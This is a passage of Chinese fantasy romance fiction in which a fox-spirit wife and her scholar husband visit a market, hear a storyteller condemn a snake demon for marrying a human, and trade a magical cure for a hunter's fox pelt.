小镇名为清平镇,每隔十天才有一次市集,所以,每到这几个日子,临近的十来个村子的人都会赶来,简直是挤得脑袋插脑袋,大部分人都带了点东西,来这里做点小生意,顺便采购点自家所需的东西。 于是,一整条宽敞道路的两边都被小商贩的东西占满了,到处都是吆喝叫卖声,卖馄饨包子的,卖笊篱的、卖花生糖的、卖牛羊和小猪仔的…… 胡翘翘挽着陈子均的手,顺着人流,一路闲逛。 她蒙着面纱,又调整了肤色,所以没什么人太留意,反倒是长身玉立样貌俊美的陈子均,一路引来不少女子异样的目光。对此,胡翘翘起初很不开心,还会像母鸡护住小鸡一样跳出来,但后来次数多了,又不能让相公也同她一样戴面纱,便也习惯了,反而心中还会生出小小得意与窃喜。 嘻,生得这么好看的相公,偏生是我一个人的。 你们看得见又如何,吃不着呀。 逛了半条街,胡翘翘买了不少乱七八糟但不值钱的小东西,什么蜜饯糖果、手帕汗巾……兴奋得像只小雀儿般一路叽叽喳喳,蹦蹦跳跳。 陈子均忍不住微笑。 每次出门都这么开心,像个小孩子一样。 也对,她很少经历这些。 他对这些活动不太感兴趣,不过,只要她喜欢就行。 这时,陈子均牵着胡翘翘道,“走,到那边去看看。” 胡翘翘好奇地问:“相公,你想买什么?” 陈子均没回答,走到一个卖饰品的小摊前,开始扫视。 胡翘翘恍然,连忙拉着陈子均的袖子,小声道,“相公,这些应该很贵的……” 她虽不知道相公有多少积蓄,但相公马上要去省城应试,得花不少银钱,买些不值钱的小东西也就罢了,一看陈子均似乎要给她买首饰,她就不安起来。 陈子均选了个还算精致的雕花珠钗,对着她的头发比划,感觉还不错,便扭头问老板,“这个多少?” “一两五钱银子。”老板答。 “好贵呀!”胡翘翘吓了一跳,立即摇头,“相公,不要买啦。” “放心,我买得起。”陈子均看着她,微微一笑,这一眼,道不尽的温柔、怜惜和爱慕。 胡翘翘禁不住心头鹿撞,微低下头,红晕悄然没过耳根,也不再拒绝了。 他原本就风华清俊,此刻这一眼,这一笑,不知看直了周围多少女人的眼睛,再看看他身边肤色暗沉、似是平平无奇的胡翘翘,一时间,大有“一朵鲜花插在牛粪上,但那牛粪不是她们”、“如此帅哥竟然瞎了眼”的痛心疾首之感。甚至有一个盯他盯得目不转睛的姑娘,砰地一声,直接撞到前方的树上。 付了钱,陈子均将珠钗插在胡翘翘的头发上,再退后两步,仔细打量,感觉很不错。 胡翘翘抿了下唇,轻声问:“相公,好看吗?” 陈子均笑道:“不是它好看,是娘子好看,便戴什么都好看。” 胡翘翘心中欢喜无限,一双眼睛便弯了起来,妩媚如水,饶是蒙着面纱,也陡然生出艳光四射之感。 逛到了中午,陈子均与胡翘翘来到镇上的一处酒楼。 这里人不少,甚至还有个说书先生。两人挑了个略靠角落的位置,坐了下来。 待小二记下两人点好的菜,退下后,胡翘翘拿起茶壶,给两人各倒了一杯热气腾腾的清茶。 “相公,小心烫口,等会儿再喝。”她轻声说了句。 这软糯婉转的声音一出口,近旁的某张桌前,一个身穿锦衣的年轻男子便下意识地望了过来。 啧,这小娘子单看身段,已经极其完美,可惜见不着全脸,兼之肤色发黄暗沉,眉毛杂乱,估计好看不到哪儿去……他正没了兴趣,忽然注意到她那双似有勾魂摄魄之力的明眸,便愣了一愣。 陈子均余光扫了一眼,便注视着胡翘翘,“嗯。”了一声,然后握着她的小手,有意无意般地轻轻揉捏。 胡翘翘一愣,相公甚少在外面如此做,她犹豫了下,没有抽出,垂下眸子,小脸逐渐变得滚烫,不过她调整了肤色,便不太明显。 那锦衣男子这才收回了目光。 这时,台上的说书先生刚说完一段,端起茶杯,润了润嗓子,三个指头捻起块两寸长的醒木,砰地一声敲了下台面。 待众人看过去,他徐徐开口道,“诸位客官,请听好了。接下来我要讲的,可是近期在附近的钱塘县发生的一件真人真事,十分骇人听闻!” 众人都生出了好奇。 胡翘翘的注意力也被引了过去,大眼睛一霎不霎地看向那边。 说书先生抑扬顿挫地开了口。 “话说数日之前,在那钱塘县,发生了一件惊天动地的大事!诸位可曾能猜到,是什么事?” 略一停顿。 众人的好奇心愈发被吊得高高的。 “不知道,快说罢!” “别卖关子!” “对,快说!” 说书先生清了下喉咙,响亮的声音于酒楼中回荡而起。 “不妨告诉诸位得知,便是钱塘县里,出了一条千年白蛇妖!” 第7章 人妖殊途,怎么能成为夫妻 “啊!” “蛇妖?!” “钱塘县有蛇妖?” 众人发出惊呼。 “没错,据说这蛇妖的妖龄已超过千年,不仅能化为人形,还会上天遁地,甚至敢闯仙门、盗仙草!” 众人再度哗然。 “这么厉害!” “这蛇妖是怎么被发现的?” “后来呢,如何了?” 说书先生再敲一下醒木,朗声道,“诸位,诸位,稍安勿燥,且待我从头细细说来。” 众人屏息凝神。 胡翘翘也睁大眼,一脸紧张。 陈子均端起茶杯,漫不在意地啜饮一口。 “话说这蛇妖,原本是一条小白蛇,修炼千年有成,化为人形,自名白素贞。与她一起的,还有条七百余年的青蛇,名为小青,两条蛇妖情同姐妹。数年前,白素贞与小青来到钱塘县,遇到一小书生许仙……”说书先生侃侃而言。 “……那白素贞与许仙结为夫妻之后,便在钱塘县定居,又开了家名为保安堂的药店,为人看诊施药,虽非大富大贵,日子却也算颇为和美……” 胡翘翘睁大眸子,长长的睫毛连最细微的晃动都没发出。 这时两人点的菜早已上来,但她却连筷子都未曾拿起。 不光她,整间酒楼也都变得极为安静,不复喧闹。 “……不料,白素贞误喝了雄黄酒,显出原型,将许仙的三魂吓散了两魂,为使许仙三魂归体,白素贞潜入青山宗,盗走了青山宗种的一株仙草……” 话及此处,又是一阵哗然。 “青山宗?” “竟然敢去青山宗盗仙草?” “这蛇妖好大的胆!” 胡翘翘有些好奇地问陈子均,“相公,这个什么青山宗,很厉害么?” 陈子均还未回答,旁边那桌的锦衣男子已经哂笑出声,手中折扇啪地一甩,张开后,姿态潇洒地轻轻扇动。 “小娘子,你连三大仙门之一的青山宗都不知道么?” 胡翘翘一愣,看了他一眼,见那男子生得獐头鼠目,眼神轻浮,心中大为反感,扭过小脸,不予搭理,嘴里还咕哝着,“我问的是相公,又没问别人,随便插话,真不懂礼貌。” 那锦衣男子脸色一变。 “青山宗啊,倒也没什么大不了的。”陈子均笑了笑,说。 那锦衣男子的神情愈发阴沉,正欲冷笑开口,说书先生已经话接上文。 “白素贞虽盗回了仙草,救活了相公,却也为此引起了青山宗的注意,前几日,青山宗的仙师便去到钱塘县,出手将那白素贞打回了原形,并镇压在一座宝塔之下!” 众人都吸了口气。 “可是,那条白蛇妖为了救自己相公的性命,才盗的仙草……也算是情有可原……这个惩罚,会不会太重了?” 一个软糯甜美的嗓音传了过来,众人听在耳中,顿时觉得仿若从耳膜到全身,都吃了一大口蜜糖。 说书先生看向胡翘翘,捋着胡须,笑了起来。 “这位娘子,你有所不懂了。虽说那仙草极为珍贵,但为了救人,青山宗的仙师们倒也不至于如此计较,但关键是,白素贞不听劝阻,不愿离开许仙,所以青山宗的仙师方才出手将白素贞镇压!” “为什么非要白素贞离开许仙?”胡翘翘咬了下唇,又问。 “这你都不明白吗?白素贞是妖,而她的相公许仙是人!人妖殊途,怎么能成为夫妻呢?!” “人和妖,怎么就不能成夫妻了?” “荒谬!世上所有,物归其类,人是人,妖是妖,天底下,哪有人和妖做夫妻的?!” 胡翘翘紧紧咬着腮帮子,双肩都有点发抖,要不是陈子均拉住她的胳膊,或许,她就直接站了起来。 “可是,我听你说的,她分明什么坏事也没做过,还开药店救了很多人,为什么非得逼着她离开心爱的人,她不同意,就将她压在塔下面……原因,就是什么人妖殊途……难道说,就算一个从没害过人的好妖怪,也不可以和人在一块儿吗?” 因为气恼,她的音量不觉提高了几分,微带颤抖,听着却依旧是甜软动人。 说书先生愣了一下,突然摇头笑了起来。 “唉,果然,妇道人家的见识……” 语气里虽没什么恶意,但也引起了酒楼里的一阵笑声。 待笑声稍静,说书先生道,“小娘子,你可曾听过一句话,非我族类,其心必异!” “妖,大半都是嗜血食肉的兽类所变,本性无比凶残!若时间不长,一年两年的,或许还能伪装成善类,但时日一久,必然原形毕露!” “远的不说,便说几年前,在那青丘县附近,不就有一整个村子都被狐妖吃了个干净的例子吗?!” “这白素贞可是千年蛇妖!若不将她镇压,一旦有人惹怒了她,或许整个钱塘县的百姓,都会遭殃!” 胡翘翘结巴了片刻,仍喃喃道,“可是,许仙和她如此恩爱……” 说书先生冷嗤一声,“小娘子,你觉得许仙与她夫妻恩爱,被生生拆散实在可怜,但你有没有想过,白素贞盗取官银,害得许仙被流放外地,又现出原型,害他被生生吓死!依我看,倘若他一开始就没有遇见白素贞,而是娶一个平凡女子为妻,日子也会照样过得幸福美满!遇到白素贞,根本就是许仙最大的不幸!” 胡翘翘默默地垂下小脑袋,眼睛已经红了,强忍着才没落下泪来。 又有人问:“那条青蛇妖呢?也被镇压了吗?” 说书先生摇头:“那青蛇妖极其狡诈,见事态不妙,就抛下白蛇妖独自逃走了。不过,我听说青山宗的仙师正在追捕它,定然很快便能将它抓住。” 众人这才松了口气,纷纷道,“希望仙师尽早抓住蛇妖,免得她们继续害人!” 胡翘翘愈发沉默。 这时,她放在膝上的小手,被一只大手握住。 她抬头望去,陈子均的另一只手给她夹着菜,温声道,“别人的看法和我们无关,不用放在心上。快吃吧,吃完饭我们接着逛街。” “……嗯。”胡翘翘抿了下唇,低垂着眼睑,将面纱轻轻解开。 那锦衣男人恰好朝她投过来一瞥,接着,眼睛猛然睁大了几分。 面纱一落,便露出那尖尖的下颌,花瓣般的精致双唇,碎玉般的牙齿,再加上那双媚意动人的眸子,但觉楚楚可怜,娇柔婉转,若非皮肤枯黄、眉毛微乱,简直堪称人间绝色。 即便如此,也是少见的美人。 真没想到,他心血来潮,到这穷乡僻壤来散心,竟能遇见这般佳人…… 一时间,心旌动荡,神魂颠倒。 手中折扇落地,发出啪地一声。 陈子均皱了下眉,眸底不见波动,只是看了对方一眼。 那目光也并不如何冰冷,但那锦衣男子乍一碰触,便觉得仿佛从骨髓中生出了一股极度冰寒之意,直接打了个寒颤。 陈子均收回视线,淡淡道,“娘子,你坐我这里来。” “啊?”胡翘翘不明所以,但还是听话地起身,与他交换了座位。 陈子均坐下,他身材高大,这一坐,就正好将胡翘翘隐在他的背后,阻断了那锦衣男子的视线。 锦衣男子这才回过神,不敢再看,弯腰捡起扇子。 第8章 将这块狐皮做成袍子 只吃了小半碗,胡翘翘便放下了筷子,重新戴回了面纱。 陈子均道:“再吃一点。” 胡翘翘摇了摇头,轻声道,“相公,我没什么胃口。” 陈子均见她闷闷不乐的样子,也不强求,“好,那我们再去逛逛。“ 出了酒楼,两人继续逛着市集,但胡翘翘早上的兴奋劲儿已经不翼而飞,陈子均给她买了平素最爱吃的糕点,也没能哄得她恢复如初。 陈子均微带无奈,抬手随意地摸着她的鬓发,温和淡然地道,“傻丫头,别人如何想是别人的事,我们既勉强不来,也不需在意,人活一世,自己问心无愧即可。” 胡翘翘扬起睫毛,看了眼他,“相公,我并不是不懂这个道理,但是……” 她停了下来,也不知该如何描述那些缠绕在她心中与脑中的复杂无比的思绪与情绪。 既不甘,又恐惧,既委屈,又迷茫…… 这是她第一次,感受如此复杂。 说不在意,便能不在意,又有几人能如此洒脱呢? 怔怔地抿了会儿唇,她才小声咕哝道,“……我也不知道该怎么说,一想便脑袋疼。” 陈子均又揉了几下她的脸,笑道:“那就别再想了,反正,你只需记住,我是你相公,你是我娘子,谁也别想把我们拆散。” 听到这话,胡翘翘的眸子顿时弯了起来,“嗯!” 相公还是一如既往的温柔体贴呢,让她真的好想现在便亲他一口,可惜这里人太多啦,不好意思。 陈子均从她弯月般的眸中读懂了她的不轨,忍不住笑了一下,“好娘子,真乖。” 胡翘翘恢复了自在,见到前方有人在卖冰糖葫芦,便又兴致勃勃地拉着陈子均过去,花两文钱买了一根。 这冰糖葫芦吃起来又酸又甜,咬在嘴巴里咔嚓作响,她喜滋滋地咬了一颗,感觉味道不错,将剩下的递到陈子均的嘴边,笑眯眯道,“相公也吃一个。” 陈子均虽然不爱吃甜,但终于还是不忍拂她的好意,低头咬了一口。 “好吃么?”她期待地看着他。 “好吃。”陈子均笑。 两人又走了几步,忽然前方的某间店铺里,传出一阵争执声。 那是间药铺,铺中的两名伙计正在呵斥一个黑瘦少年。 “我们这里是卖药的,又不是开善堂的,没钱买便快走,别影响我们铺子的生意!”其中的高个伙计道。 “我说了,不是白拿药,我用这张狐皮来换。”黑瘦少年指了指摊在地上的一张狐皮,面无表情地说道。 那张狐皮虽是最常见的赤狐皮,但比普通的赤狐皮又大上不少,头尾俱全,色泽也极为美丽,倘若完整无损的话,确实能值不少银钱,可惜的是,狐皮的胸口处有一个极其明显的伤口,还有几处毛皮缺损,价值便大打折扣。 另一名满脸麻子的伙计嘿了一声:“破烂成这样,白送都不要,还想换一根老山参,做什么白日梦呢,快滚罢!”抬手往外挥了挥,口里还咻咻两声,像在驱赶野狗。 话音落下,周围一片笑声,原来有不少路人聚拢而来,看起了热闹。 陈子均也被好奇的胡翘翘拖过来了。 黑瘦少年冷冷道:“你们没见过好东西,我不与你们计较,叫你们的东家来,他说不定识货。” “不巧了,我们东家今天不在,”高伙计冷笑一声,“这里我们说了算,让你快滚,听不懂么?” 那少年一直古井无波般的眸底中,突地闪过一抹血色,踏前一步。 他原本又黑又瘦,个子也颇为矮小。 此刻的目光中,却带着某种森然凶狠之意,仿若一只嗜血的小型猛兽,让人不自觉地心中一颤! “你想作甚?”两名伙计吓了一跳,都后退了半步。 “不和你换,你还想硬抢不成?”麻子伙计的声音又尖又利,“我警告你,咱们这儿可是有王法的!” 话放得虽狠,人却不敢上前,一副色厉内荏的模样。 黑瘦少年深吸口气,站定脚步,沉声道,“我爹急需山参治病,这狐皮虽然有些破损,但绝非寻常狐皮可比,我历经九死一生,方才将它杀死,请两位让东家来看看!” 这老狐是他打猎时偶然遇见,个头奇大,凶悍程度堪比猛虎,要不是他天生神力,早就葬身狐嘴。 一番生死搏杀,他终于找到机会,将匕首捅入那老狐胸口,了结了它。 他知道这老狐不凡,剥下狐皮,想卖掉它后替父亲治病,但因为狐皮多处破损,他连着问了几家皮毛铺子、当铺,对方都开价极低,他才拿着狐皮来了药铺。 “都说让你滚了!”高大伙计回过神来,毫不客气地上前,伸手就去推搡那黑瘦少年。 哪知那少年看似瘦小,脚底下却仿佛有千斤重,他用尽力气,竟然也无法让对方后退一步。 他恼羞成怒,大巴掌直接朝那黑瘦少年的脸上扇去! 黑瘦少年终于忍无可忍,一挥手,高大伙计便感觉一股惊人大力袭来,“啊!”地大叫一声,向后重重跌出,撞在了药柜上。 麻子伙计大惊失色,放开嗓门尖叫,“行凶了!有人当街行凶了!快去报官!” 围观的人群也哗然起来。 黑瘦少年的脸色微微一变,伸手拎起那块狐皮,“我并非有意,罢了,我走便是!” 他出了人群,在街边寻了片空地,将那块狐皮摊在地上,默不作声地蹲了下来。 有好事者语气调侃地问,“这块上好狐皮,你想要卖多少啊?” 黑瘦少年面无表情地回:“十两银子。” 那人哈哈哈地笑了起来,“这破烂玩意儿,给你十文钱,卖不卖?” 黑瘦少年抬眸,冷冷看了他一眼。 那人突然莫名有些畏惧,嘲笑变为干笑,干笑变为不笑,最后悻悻走掉。 “十两银子,买不起呀……”不远处,胡翘翘摸了摸自己的小荷包,小声念了句。 陈子均微微一怔,“怎么,你想要这块狐皮?” 其实他早已看出,这狐皮应该来源于某只两百余年的半狐妖。 寻常狐狸寿命不过二十年,需有大机缘,方能活过百岁。 百岁后,开启灵智。 百年狐皮寒暑不侵,两百年的狐皮水火不伤。 但这时,它们还只能依靠狐族肉身战斗,被称为半妖。 直到三百年后,方可化形为人,修炼妖力和妖术,才算是真正的妖。但即便是没化形的半狐妖,力量速度也胜过猛虎,兼之狐性狡诈,实力还会成倍增长。 不过,那黑瘦少年虽是凡人,却气血极其充沛,筋骨与力量都强悍过人,方能有机会杀死这近三百年的老狐。 近三百年的狐皮,陈子均倒没放在眼里,但只卖十两银子,委实也和白送差不多。 可惜,这市集中的人大多肉眼俗胎,看不出这狐皮的珍贵之处。 另外,陈子均意外的是,自家娘子也是狐狸,即便知道这狐皮不凡,也应该瘆得慌,怎么反生出想要的念头? 胡翘翘抿了下唇,声音软糯地解释道,“我只是觉得,相公的身子总是发凉,倘若将这块狐皮做成袍子,晚上读书时披在身上,应该会好一些……” 原来如此…… 第9章 我从不喜欢占人便宜 听到胡翘翘的话语,陈子均的唇角微微弯了起来。 被心爱之人时时刻刻想着、念着、永远放在心中最重要的位置上……这种感觉,真的极好! “那好,我们便买了它。” 胡翘翘愣了愣,而后蹙眉,为难道,“可是相公,它要十两银子……” 虽说她知道,这块狐皮的价值远不止十两银子,但相公每年教书的束脩加起来,也就十几两银子,日常吃穿都要靠它们,还得攒一部分去省城乡试呢! “我试试,或许连一文钱都不用花。”陈子均笑着说。 “啊?”胡翘翘又是一愣。 陈子均轻掠长衫下摆,走到了那黑瘦少年的跟前。 “我想要这块狐皮。”他淡然开口。 少年头也没抬,“十两银子。” “十两银子,那是占了你的便宜。”陈子均笑,“我从不喜欢占人便宜,你将这狐皮送我,作为交换,我治好你父亲的病。” 黑瘦少年身子一震,抬头望来,狭长的眸中精光暴射。 “你说什么!” 陈子均居高临下地注视着他,声音平和从容,甚至可以说,有几分悠然缓慢。 “狐皮作为诊金,我为你父亲治病。” 他双眸漆黑,如古井无波,并无任何锐利之感,但那黑瘦少年直视时,却觉得似乎心底都被瞬间看透,更有一种莫名让人信服,难以生出违拗之心的力量。 黑瘦少年下意识地问,“你、你是大夫?” “不是,”陈子均微微一笑,“但略通医术。” “你能治好我爹?” “看过方知。” 黑瘦少年薄唇抿成直线,边仔细而不动声色地打量着陈子均,片刻后,道:“治好了,方才送你!” 陈子均道:“可。” 黑瘦少年点点头,将那狐皮一卷,噌地起身,“我家离这里不远,你随我来!” 陈子均对胡翘翘道,“走吧。” 那少年在前方引路,胡翘翘与陈子均跟在他的身后,不远不近地保持着一段距离。 走出一段路,陈子均感觉到自己的衣袖被人扯了扯,便扭头看向胡翘翘。 胡翘翘神情忐忑,小声问,“相公,你真的会诊病吗?” “以前看过几本医书,也同人学过一二。”陈子均微微一笑,“你应该忘了,之前你生的那场大病,就是我给治好的。” 哦…… 胡翘翘释怀了。 那次大病让她的记性变得极差,过去的事情大部分都忘了个精光,只能记得病愈后的事情,以及,她很喜欢很喜欢相公。 而且一开始,除了对相公的喜欢无比牢固之外,别的记忆都是断断续续,直到最近这半年,她才能将每天的事情记得越来越清楚…… 或许正因此,她才忘记了相公是会看病的吧。 话说回来,相公对自己真好,不仅不在意自己是妖怪,也一点儿也不嫌弃什么都忘记了的自己,每天都将自己照顾得无微不至…… 她应该是把这一生的运气都用光了,才会遇到相公这么好的人…… 出了市集,又拐过两三条街,进入一条小巷。 一户人家的门前,黑瘦少年停住脚步,道:“此处便是我家!” 陈子均点点头。 黑瘦少年带着两人,走进不大的院子,而后,抬手指着一间厢房,“这里便是我父亲的房间。” 陈子均转头看了胡翘翘一眼,说,“我去看一下病人,你在堂屋等我……小心些。” 胡翘翘垂眸,乖巧应了声。 陈子均这才对那黑瘦少年道,“走吧。” 黑瘦少年走到厢房门外,抬手敲了敲门,轻声道,“爹,我回来了。” 门内传来断续的咳嗽声。 黑瘦少年先示意陈子均跟上,然后才推开门,轻手轻脚地走了进去。 房间很暗,墙上挂着一把弓,凌乱的床上靠坐着个满脸病容,瘦得几乎只剩一把骨头的男人。 床边的白布上,布着斑斑血迹。 “爹,我带大夫来看你了。”黑瘦少年上前一步。 男人用白布捂着嘴,有气无力地咳了几声,将布拿开时,上面已经多出了一块新的血迹。 “阿天,爹心里有数,我的病好不了……别浪费钱……” 他心中明白,自己的病已是沉疴痼疾,药石无功。 无论哪个大夫替他看过后,都只会摇头叹气,表示他已是命不久矣。 除非仙人出手,否则再好的药、再高明的大夫,也不过能为他苟延几天性命罢了。 只有儿子,一直不死心,千方百计替他寻医问药。 黑瘦少年脸现倔强,“不,我绝不放弃!” 陈子均淡声开口,“治不好,分文不取。” 男人一愣,叹了声气,不再反对。 对方一身读书人的打扮,又如此年轻,怎么可能会看什么病……八成是儿子病急乱投医,才将对方带来。 罢了,无非就是再让儿子失望一次。 陈子均在床边坐下,四根手指轻轻搭上男人枯瘦的手腕。 黑瘦少年盯着他的一举一动。 片刻后,陈子均收回了手,转动目光,看着男人,笑了笑。 “数年前,你不慎受伤,胸骨扎进肺部,后虽痊愈,但有不少积血留在肺部中,未曾排出,是以一直断续咳嗽,但那时,你并未放在心里,只当是寻常的风凉感冒。” 男人和黑瘦少年齐齐瞪大了眼! 陈子均也不在意他们匪夷所思的表情,只是淡淡地继续。 “久而久之,那些积血形成血块,又成了恶瘤,开始在你肺中扩散,这时,你会咳嗽加剧,甚至咳血,呼吸困难,高烧难退,全身无力。” 房间里,安静得几乎凝固。 只有黑瘦少年和男人沉重的呼吸声,还有陈子均平静沉稳的声音在回荡。 “你终于开始紧张,去看了大夫,但无论多少药吃下去,病情都只能暂时好转,等药效一过,反会愈发恶化……我说得这些可对?” 陈子均直截了当地问。 “是!”黑瘦少年面露激动之色,直截了当地答,“一个字都没错!” 男人也双目发亮。 这年轻男人竟能将自己的发病起因,以及病情发展和病症表现,说得条理分明,毫无错漏,仿若亲眼目睹一般! 难不成,他真有办法治好自己的病?! 第10章 你付不起价钱 “此病的关键,便是那恶瘤。”陈子均笑了笑,“它会与健康的身体争夺养分,是以你吃的药物越多、越珍贵,恶瘤能吸收的养分反而越多,自然也就愈发壮大!” 黑瘦少年与男人都是瞠目结舌。 他们还是第一次听到这种说法,但又觉得,正是如此,方才能解释这病情的变化! 黑瘦少年盯着陈子均,无比急切地发问,“既然如此,你可能治好我爹?” 陈子均吐出两个字。 “不能。” 父子两人心中的绝望还未完全升起,接下来,陈子均已经挑起眉,微微一笑:“这两个字,是对其他大夫而言。对我来说,却并不算难。” “……” 心情的大起大落,让父子两人都猛地产生了一种被仇家逼得无路可走,不得不跳崖自杀,结果不但没死,还在崖下发现了仙人洞府的感觉。 太……跌宕起伏,太……惊险刺激了。 “有银针么?”陈子均看向黑瘦少年,“我需用银针,为你父亲化开肺部血块,血块一除,恶瘤无根,便自会消失。” 黑瘦少年咬咬牙,道,“你等着,我去借!” 他正要出门,陈子均又说,“稍等!” 黑瘦少年停下脚步,“还有何事?” 陈子均让他取来纸笔,笔走龙蛇,快速写下一个药方。 “顺便将此药抓三副回来。” 黑瘦少年愣了一愣,手指下意识搭上腰间,幽暗眸底中,一抹为难之色转瞬即逝。 陈子均略一思忖,又取出一块碎银,连药方一起递给黑瘦少年,“倘若没钱抓药,便用我的。” 黑瘦少年却并未伸手。 “你的狐皮,值这些银子百倍。“陈子均道,“速去,早一刻回来,你父亲便能早痊愈一刻!” 黑瘦少年不再犹豫,一把抓过碎银和药方,疾步出门。 陈子均转头看向床上的男人,微微一笑,“待会儿会有些疼痛,方便起见,你还是先睡一觉吧!” 没等男人表态,他手掌直接挥过,男人不自主地闭上眼,下一秒,陷入昏睡。 片刻后,黑瘦少年带着一套银针、几包药,返回厢房。 见到沉睡的父亲,他有些震惊。 “他睡着了,方才便于施针。”陈子均没过多解释,又问,“家中可有煎药的器具?” 虽然这男人久病,煎药之物必然不会缺,但以防万一,他还是额外加了句。 果然,黑瘦少年点头。 陈子均便拿了一包药出去,让候在堂屋里的胡翘翘拿去煎。 这样一来,等他施针完毕,药也就煎好了。 做完这件事,他和黑瘦少年一起回到厢房,再让后者扶起男人,并解开男人的上衣,袒露胸口。 随后,陈子均抽出了一根银针,以烛火来回炙烤。 注视着微闪寒光的针尖,黑瘦少年不由眉头紧皱,“你是要用这针,刺进我爹的胸口,从而化开那什么肺部血块?” “没错。” “……你可有百分之百的把握?” 陈子均瞥了他一眼,反问,“这世上有何事能保证百分之百的成功?” 黑瘦少年眸光一寒,森然道,“先说好,你若失手害死我爹,便要偿命!” 他话音一落,就见到眼前的年轻公子那原本温和的黑眸,陡然一变,变得深沉无比,如浩瀚海洋,在平静之下蕴含着无限威能、无限恐怖。 这深沉,一闪即逝,却依旧让他情不自禁地全身一颤。 “念在你救父心切,这句话,我不与你计较,”陈子均的目光恢复温和,放下银针,站起身来,“我帮你父亲治病,是为了不相欠那块狐皮,但我的这条命,你可付不起价钱……倘若不信我,就另请高明吧,至于药钱,便不用你还了。” 他漫不经心说完,便转身朝房门走去。 盯着他的背影,黑瘦少年突然如遭雷劈。 父亲的病已经没法再拖,病愈的希望掌握在对方的手中,他却在紧张担忧下,口不择言,简直蠢不可及! 他立刻暗自深吸了一口气,将种种猜疑、不安、焦急都收进了肚子里,一个箭步冲上前,拦在门口,单膝落地,凝声道:“公子,是我方才猪油糊心,不知好歹,胡言乱语!求你出手救救我爹,无论结局如何,我都毫无怨言!” 陈子均扫了他一眼:“让开。” 他连手脚都未动,只是一个眼神,不知为何,那黑瘦少年却感觉仿佛一座大山压了下来。 胸口,有种几欲窒息的感觉,全身的每一根骨头似乎都发出嘎吱之声,随时可能崩碎。 他骇然之极,却并不退让,反而直接俯身在地,重重磕了一个头。 “是我胡说八道,公子大人有大量,千万别与我一般计较!如果公子能治好我爹,狐皮送你,我顾行天的命也归你!即便失败,也无怨无悔!” “我要你的命做什么?既不能吃,也不能穿,还是个男人。”陈子均皱眉。 名为顾行天的黑瘦少年张口结舌,不知如何应对。 陈子均看了他片刻,终于又摇了摇头,“若不是我娘子想要那块狐皮……” 他转身,回到床边,重新拿起银针,头也不回地说,“过来,将你父亲扶好。” 顾行天怔了一秒,才蓦地恍然,立即爬了起来。 …… 巷外,一名随从打扮的男人,快步走到方才酒楼中那锦衣男子的面前,低声说了几句话。 听完后,锦衣男人将扇头在手心中一敲,猥琐面孔上露出喜色。 “你亲眼见到,方才那美貌小娘子正独自在一人家院子里煎药,身边再无他人?” 原来,他离开酒楼后,回想到方才之事,就开始咬牙切齿。 自己身份不凡,往日里,高官权贵都见过不少,今天却被一个文弱书生的眼神便吓退了! 简直丢人丢到家! 他越想越不甘心,便让随从去打探那小娘子的去处,想要寻找机会和对方进一步的接触。 待那名随从点头,锦衣男子哈哈大笑。 “带路!” 到了巷外,锦衣男子吩咐随从们在外等候,自己摇着扇子,闲庭信步地朝顾行天的家门走去。 第11章 娘子别怕,有我在 胡翘翘弯下腰,小心翼翼地端起炉上的瓦罐,将煎好的药汁从罐中倒入瓷碗,随着她的动作,浓浓的药味儿飘在小院中。 倒好之后,她放下罐子,起身,用袖子抹了把额头上沁出的薄薄香汗。 那儿的粉便被抹掉了一块,取而代之的是白皙娇嫩的肌肤。 “药已经煎好了,不知相公那边什么时候能好?”她抿了下唇,视线投向厢房的方向,有心想去看看,又怕打扰到陈子均,最后,还是决定就在院中等待。 突地,一阵拍打翅膀的声音响起。 胡翘翘一愣,循声望去, 不知何时,墙头上站着了一只大公鸡。 体积硕大,翠羽红冠,煞是威风。 胡翘翘看着它,眼睛便亮了一亮:“这谁家的鸡呀,好漂亮的羽毛!对了,家里的鸡毛掸子都快秃了,要不……” 她眼珠子骨碌碌乱转,一手拎起裙摆,蹑手蹑脚朝公鸡走近,巧笑嫣然,“小鸡鸡,将你的毛借我用一些,好么?” 那公鸡似乎看出她不怀好意,鸡眼圆睁,咯咯叫着,骂得很脏。 “别小气嘛,你有那么多毛,拔了还会再长,给我一些怎么了?” 她刚伸出手,那只公鸡就扑过来啄她。 胡翘翘没来得及收回手,手背被狠狠啄了一下。 “坏鸡,弄疼我了!”她扭头看了一圈,见四周无人,顿时怒从心头起,恶向胆边生,龇牙道,“哼,吃了你!” 话音落下,一对小巧狐耳便从头顶冒出,俏脸上也隐约浮现出了一张狰狞的狐狸脸孔,公鸡被吓得咯咯大叫,拍着翅膀跑了。 胡翘翘正乐不可支,身后,突然有人爆发出了一声恐怖至极的惊呼。 “有妖、有妖怪!” 胡翘翘吓了一跳,连忙将耳朵尾巴收起,扭头望去。 只见半掩的大门外,一个身穿锦衣的身影正一边惊呼着“有妖怪,狐狸妖怪!”,一边跌跌撞撞屁滚尿流而去。 胡翘翘的眼睛一下瞪大,心往下沉。 完啦,她被人看到狐妖模样了! 怎么办,相公知道以后,肯定又要训她半天了…… 等等,相公训她还好说,大不了她撒个娇,再掉几滴眼泪,就能哄好他了。 但如果被人知道了她是狐妖,然后,硬逼着她和相公分开,或是也把她镇压在什么塔什么山下,让她永远不能再见到相公,那该如何是好?! 胡翘翘手足无措,想着要不干脆冲出去一口将那人咬死,但又担心相公会更生气或是惊动更多的人,一时间,不知如何是好。 厢房中,陈子均手捻银针,微微皱眉。 他虽在房中,神念却一直留意着外面,早已发现了方才那锦衣男子鬼鬼祟祟的行踪。 他不知对方有何目的,便没贸然采取行动。 可任凭他如何神机妙算,也料不到娘子会和公鸡斗气,突然显出妖形,又恰好被对方看在了眼里…… 啧,真是个小麻烦精…… 陈子均心中无奈,神念一动,一股奇异的无形力量便透过厢房,快速奔向了那正仓皇逃窜的锦衣男子…… 顾行天也听到外面喊着什么“有妖怪”,心中升起好奇,却因为扶着父亲,没法抽身。 陈子均将最后一根银针拔出,淡声道,“好了。” 顾行天的好奇立马消散,正要询问情况,突然怀中昏睡的男人一阵剧烈颤抖,紧接着,发出惊天动地的咳嗽,似乎连心肝脾肺肾都要咳出来一般! 陈子均立即起身,闪开。 下一秒,男人的嘴里喷出什么黑乎乎的东西,喷得满床都是! 陈子均若非及时躲开,估计也会被波及。 “公子,我爹他怎么了……”顾行天黑瘦冷静的脸上,闪出一抹慌乱。 “这是他肺中的血块,”陈子均淡然说,“咳了出来,方能痊愈。” 顾行天正将信将疑,却听到父亲停下咳嗽,睁开眼,悠悠一声长叹,“哎,这次咳得好畅快啊!都快堵死我了!” 霎时间,一股热流,涌入顾行天的眼眶。 …… 另一边。 市集依旧热闹,人来人往。 此刻,人群中的一道身影,吸引了不少目光。 